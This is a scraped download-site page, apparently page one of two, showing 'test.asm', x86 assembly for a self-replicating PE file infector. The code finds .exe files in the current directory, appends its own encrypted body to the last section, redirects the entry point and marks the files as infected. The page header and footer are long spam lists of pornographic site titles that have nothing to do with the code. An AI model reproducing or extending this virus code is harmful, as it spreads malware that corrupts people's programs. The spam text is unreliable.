亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? test.asm

?? 修改PE文件,FDASKLFJASDKLFKLASDJFKASDFFSDAF
?? ASM
?? 第 1 頁 / 共 2 頁
字號:
.386
               .model flat,stdcall
               .data

               .const

               .code
start:
virse_start:
;----------------重定位 
 
call Relocate                 
Prepare:
       call LoadApis              ;載入API函數
       cmp eax,000000000h
       jz toOldEntry
       mov  edx,offset bufDir     ;prepare before infection
       add  edx,ebp
       push edx
       push 104h
       call [ebp + _GetCurrentDirectoryA]
       cmp eax,0
       jna toOldEntry
       cmp eax,104h
       ja toOldEntry
       
       mov  edx,offset bufDir
       add  edx,ebp
       push edx
       call [ebp + _SetCurrentDirectoryA]
       cmp eax,00000000h
       jna toOldEntry
       
       mov ecx,02h               ;感染文件數
       mov eax,offset win32_find_data
       add eax,ebp
       push eax
       mov eax,offset szExe
       add eax,ebp
       push eax
       call [ebp + _FindFirstFileA]
       cmp eax,00000000h
       jna  Display
       mov [ebp + hFind],eax
InfectLoop:                   ;查找文件,并感染
       mov [ebp + nCounte],ecx
       jmp  InfectFile        ;返回句柄非零,感染
Next:
       mov eax,offset win32_find_data
       add eax,ebp
       push eax 
       push dword ptr [ebp + hFind]
       call [ebp + _FindNextFileA]
       cmp eax,00000000h
       jna  Display
       mov ecx,dword ptr [ebp + nCounte]  
       loop InfectLoop
       push dword ptr [ebp + hFind]
       call [ebp + _FindClose]
       jmp  Display           ;跳到表現部分
InfectFile:
       mov word ptr [ebp + isExe],00h
       mov eax,offset cFileName
       add eax,ebp
       call CreateF             ;打開文件
       cmp eax,0
       jna  next
       mov [ebp + hFile],eax    ;保存文件句柄
Mapping_1:  
       call FileMapping
       cmp eax,0
       jz  Next
       mov esi,eax
       movzx edx,word ptr [eax]
       cmp edx,5a4dh              ; check MZ
       jnz Exe?
       mov eax,dword ptr [esi + 3ch]
       add eax,esi               ;eax -> PE
       mov edx,dword ptr [eax] 
       cmp edx,00004550h         ; check PE
       jnz Exe?
       mov edx,dword ptr [eax + 4ch]
       cmp edx,00000001h
       jz  Exe?
       mov word ptr [ebp + isExe],0ffffh
       add [ebp + dwFileSizeLow],offset virse_end - offset virse_start
Exe?:
       mov eax,esi
       call UnmapView
       mov eax,[ebp + hMapFile]
       call CloseH
       cmp word ptr [ebp + isExe],0000h
       jz Next
Mapping_2:
       nop
       nop
       call FileMapping
       cmp eax,0
       jz  Next
       mov [ebp + ImageBase],eax
       mov esi,dword ptr [eax + 3ch]
       add esi,eax                        ;save PE   
       mov eax,[esi + 28h]
       mov [ebp + OldEntry],eax           ;save Formal EntryPointer
       mov eax,esi
       add eax,18h
       movzx ecx,word ptr [esi + 14h]     ;SizeOfOptionalHeader
       add eax,ecx        
       movzx ecx,word ptr [esi + 06h]     ;eax= Number Of Sections
       dec ecx
       xor ebx,ebx
f0:   
       mov edx,dword ptr [eax + 24h]
       and edx,060000020h
       cmp edx,060000020h
       jnz f1
       add ebx,dword ptr [eax + 08h]  
f1: 
       add eax,28h
       loop f0
       mov edi,eax                                  ;save the last setion header              

       push [edi + 08h]
       mov  eax,[edi + 08h]
       add  eax,offset virse_end - offset virse_start
       mov  dword ptr [edi + 08h],eax                ;modify Virtual Size

       mov  ecx,[esi + 3ch]
       call Alignize
       mov  dword ptr [edi + 10h],eax                ;modify SizeOfRawData

       mov eax,[edi + 08h]
       add eax,[edi + 0ch]
       mov ecx,[esi + 38h]
       call Alignize
       mov dword ptr [esi + 50h],eax                 ;modify SizeOfImage

       add ebx,[edi + 08h]
       mov eax,ebx
       mov ecx,[esi + 3ch]
       call Alignize
       mov dword ptr [esi + 1ch],eax                 ;modify SizeOfCode
        
       pop eax
       mov ecx,eax
       add eax,[edi + 0ch]
       add eax,offset deccode - offset virse_start 
       mov dword ptr [esi + 28h],eax                   ;modify EntryPoint
       mov [ebp + NewEntry],eax                        ;save NewEntry
       
       mov edx ,dword ptr [edi + 24h]
       or edx,0E0000000h
       mov dword ptr [edi + 24h],edx
          
       mov eax,[edi + 14h]                   
       add eax,[ebp + ImageBase]
       add eax,ecx                           ;Formal VirtualSize  
       push eax                              ;Save VirseCode start Address

       mov edi,eax
       mov esi,virse_start
       add esi,ebp
       mov ecx,offset virse_end - offset virse_start
       cld  
       rep movsb
setEntyPoint:
       pop edi
       push edi
       add edi,offset toOldEntry - offset virse_start
       mov eax,000000e9h
       stosb
       mov eax,[ebp + OldEntry]
       mov edx,[ebp + NewEntry]
       add edx,offset toOldEntry - offset deccode
       sub eax,edx
       sub eax,05h 
       stosd
SetFlag:
       mov eax,[ebp + ImageBase]
       mov eax,[eax + 3ch]
       add eax,[ebp + ImageBase]
       mov dword ptr [eax + 4ch],00000001h
enc:
       pop esi                            ;VirseCode start Address
       call Encrypt
Infected: 
       push ebp
       mov eax,[ebp + ImageBase]
       call UnmapView
       mov eax,[ebp + hMapFile]
       call CloseH
       mov eax,[ebp + hFile]
       call CloseH
       pop ebp
       jmp Next
FileMapping proc                      ;---------映射文件過程
;-----------------------參數
;文件名:dwFileName,文件尺寸:dwFileSizeLow
;-----------------------  
       mov eax,[ebp + hFile]
       mov ecx,[ebp + dwFileSizeLow]
       call CreateFM            ;創建文件映射
       cmp eax,0
       jna ClsF
       mov [ebp + hMapFile],eax
       mov ecx,0
       call MapView             ;映射文件
       cmp eax,0
       jna ClsMf
       ret       
ClsMf :
       mov eax,[ebp + hMapFile]
       call CloseH
ClsF :
       mov eax,[ebp + hFile]
       call CloseH
       xor eax,eax
       ret
       FileMapping endp

Alignize proc
;------------對齊函數
;eax  ecx
;--------------------   
       xor edx,edx
       div ecx
       inc eax
       mul ecx    
       ret
       Alignize endp
CreateF  proc              ;函數  CreateFileA
;----------參數
;eax 文件名 
;------------------
        xor edx,edx
	  push edx
	  push 00000080h
	  push 00000003h
	  push edx
	  push 00000003h
	  push 0e0000000h
	  push eax
        call [ebp + _CreateFileA]
	  ret
	  CreateF endp
CreateFM  proc          ;函數  CreateFileMapping
;------------參數
;eax 文件句柄,ecx 文件尺寸 edx null
;------------------
	  xor edx,edx
	  push edx
	  push ecx
	  push edx
	  push 00000004h
	  push edx
	  push eax
	  call [ebp + _CreateFileMapping]
	  ret
	  CreateFM endp
MapView  proc              ;函數   MapViewOfFileA
;-----------參數
;eax 映射句柄,ecx 文件尺寸,edx null
;-----------------
        xor edx,edx
	  push ecx
	  push edx
        push edx
	  push 0000001fh
	  push eax
	  call [ebp + _MapViewOfFile]
	  ret
	  MapView endp 
UnmapView  proc            ;函數   UnMapViewOfFileA
;----------參數          
;eax 映射地址
;--------------------------
	  push eax
	  call [ebp + _UnmapViewOfFile]
	  ret
	  UnMapView  endp
CloseH    proc             ;函數  CloseHandle
;----------參數
;eax 句柄

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
欧美在线观看视频一区二区三区| 国产精品另类一区| 懂色av一区二区夜夜嗨| 激情综合色综合久久| 日韩成人免费看| 国产精品九色蝌蚪自拍| 国产精品免费免费| 亚洲国产精品国自产拍av| 国产调教视频一区| 欧美激情综合五月色丁香| 国产精品久久久久久亚洲伦| 国产精品不卡在线| 亚洲激情在线播放| 国产亚洲va综合人人澡精品| 一本色道久久综合亚洲aⅴ蜜桃| 成人性生交大片免费看在线播放| av毛片久久久久**hd| youjizz久久| 色综合久久久久综合99| 精品视频1区2区| 欧美日韩国产中文| 91精品国产麻豆国产自产在线| 欧美日韩一区二区三区高清 | 欧美一级欧美三级在线观看| 91精品婷婷国产综合久久性色| 8x8x8国产精品| 久久久无码精品亚洲日韩按摩| 国产调教视频一区| 一区二区三区 在线观看视频| 亚洲成人精品一区| 国产精品自拍三区| 欧美怡红院视频| 日韩欧美国产系列| 国产精品天干天干在线综合| 亚洲va欧美va人人爽| 国产精品资源在线看| 欧美在线啊v一区| 久久免费国产精品| 香蕉久久一区二区不卡无毒影院| 精品一区二区三区在线播放视频| 91丨九色丨黑人外教| 69堂精品视频| 欧美精品一区二区蜜臀亚洲| 亚洲精品一线二线三线| 亚洲欧洲日韩av| 亚洲午夜在线观看视频在线| 九色综合狠狠综合久久| 欧美色窝79yyyycom| 久久夜色精品国产欧美乱极品| 亚洲精品综合在线| 久久精品国产第一区二区三区| 成人一区二区三区中文字幕| 欧美日韩中文字幕一区二区| 色综合中文字幕国产 | 国产精品白丝av| 91福利精品第一导航| 久久久久国产精品麻豆ai换脸| 亚洲成a人v欧美综合天堂| 国产成人免费9x9x人网站视频| 日韩一区和二区| 天堂精品中文字幕在线| 91在线观看一区二区| 国产欧美一区二区精品性| 激情成人综合网| 欧美视频一区二区| 亚洲精品国产一区二区三区四区在线| 国产专区综合网| 精品国一区二区三区| 日韩和的一区二区| 欧美精品v国产精品v日韩精品| 夜色激情一区二区| 欧美在线一区二区三区| 亚洲精品一二三| 欧美在线一二三| 亚洲成av人片在线| 欧美久久久影院| 免费在线观看精品| 精品国产一区二区三区四区四| 美女久久久精品| 2023国产精品| 国产成人av资源| 国产精品伦一区| 91一区二区在线| 一区二区三区欧美日| 欧美日韩久久久| 免费视频最近日韩| 国产亚洲1区2区3区| 成人福利电影精品一区二区在线观看| 久久嫩草精品久久久精品| 国产高清亚洲一区| 亚洲天堂成人网| 欧美三区在线观看| 久久精品72免费观看| 久久久久久影视| 99精品视频在线播放观看| 亚洲精品视频在线| 欧美精品久久99| 国产精品亚洲一区二区三区妖精 | 中文一区二区在线观看| 不卡视频免费播放| 亚洲自拍偷拍九九九| 日韩免费电影网站| 成人性生交大片| 亚洲国产精品人人做人人爽| 亚洲精品在线一区二区| 99国产精品一区| 青青草原综合久久大伊人精品优势| 久久久久久久网| 欧美日韩精品高清| 国产精品影视网| 亚洲成人精品一区二区| 国产日产欧美一区二区视频| 91精彩视频在线观看| 国产又黄又大久久| 亚洲一区二区欧美日韩| 国产情人综合久久777777| 欧美日韩一区二区三区视频| 国产成人aaa| 日韩高清一级片| 国产精品不卡在线观看| 欧美zozozo| 欧美亚洲愉拍一区二区| 国产电影一区二区三区| 视频一区二区国产| 亚洲人精品一区| 久久久久久9999| 欧美一区二区成人6969| 在线观看www91| 99久久99久久久精品齐齐| 久久er99热精品一区二区| 亚洲成人综合网站| 亚洲精品视频在线观看免费| 国产日韩欧美高清在线| 精品不卡在线视频| 欧美一区二区三区四区五区 | 夜夜夜精品看看| 国产精品久久久久四虎| 久久久久久综合| 精品国产一区二区三区不卡| 精品视频在线视频| 欧美日韩一区三区四区| 欧美亚洲日本国产| 成人一级视频在线观看| 久久精品国产亚洲a| 免费成人小视频| 青青草视频一区| 日韩av电影免费观看高清完整版 | 亚洲精品一区二区三区精华液 | 欧美国产一区在线| 国产色产综合产在线视频 | 成人免费视频视频在线观看免费 | 奇米色777欧美一区二区| 午夜激情一区二区三区| 亚洲午夜免费视频| 亚洲资源在线观看| 亚洲精品国产第一综合99久久| 国产精品久久久久久久久免费桃花| 久久精品一区二区三区四区| 日韩亚洲欧美在线| 日韩精品一区二区三区蜜臀 | 欧美少妇性性性| 欧美一区二区视频在线观看2020| 欧洲精品一区二区| 色88888久久久久久影院野外| 91日韩精品一区| 99精品久久免费看蜜臀剧情介绍| 国产成人精品一区二区三区四区| 丁香婷婷综合激情五月色| 国产精品66部| 91在线播放网址| 欧美乱妇一区二区三区不卡视频 | 精东粉嫩av免费一区二区三区| 另类综合日韩欧美亚洲| 韩国v欧美v亚洲v日本v| 懂色av一区二区三区免费看| 91蜜桃传媒精品久久久一区二区| 91久久精品一区二区| 制服丝袜成人动漫| 久久久蜜桃精品| 亚洲综合久久久| 精品一区二区三区在线观看国产| 国产高清亚洲一区| 欧美偷拍一区二区| 久久色.com| 亚洲午夜视频在线观看| 国产一区二区在线看| 91蜜桃在线免费视频| 欧美日韩国产一级| 国产精品网友自拍| 日本免费新一区视频| 9i看片成人免费高清| 日韩免费一区二区三区在线播放| 国产精品美女一区二区三区 | 亚洲黄色av一区| 精品一区精品二区高清| 色综合久久99| 久久久久久久久久久黄色| 亚洲图片一区二区| 国产·精品毛片| 欧美一区二区三区视频免费播放|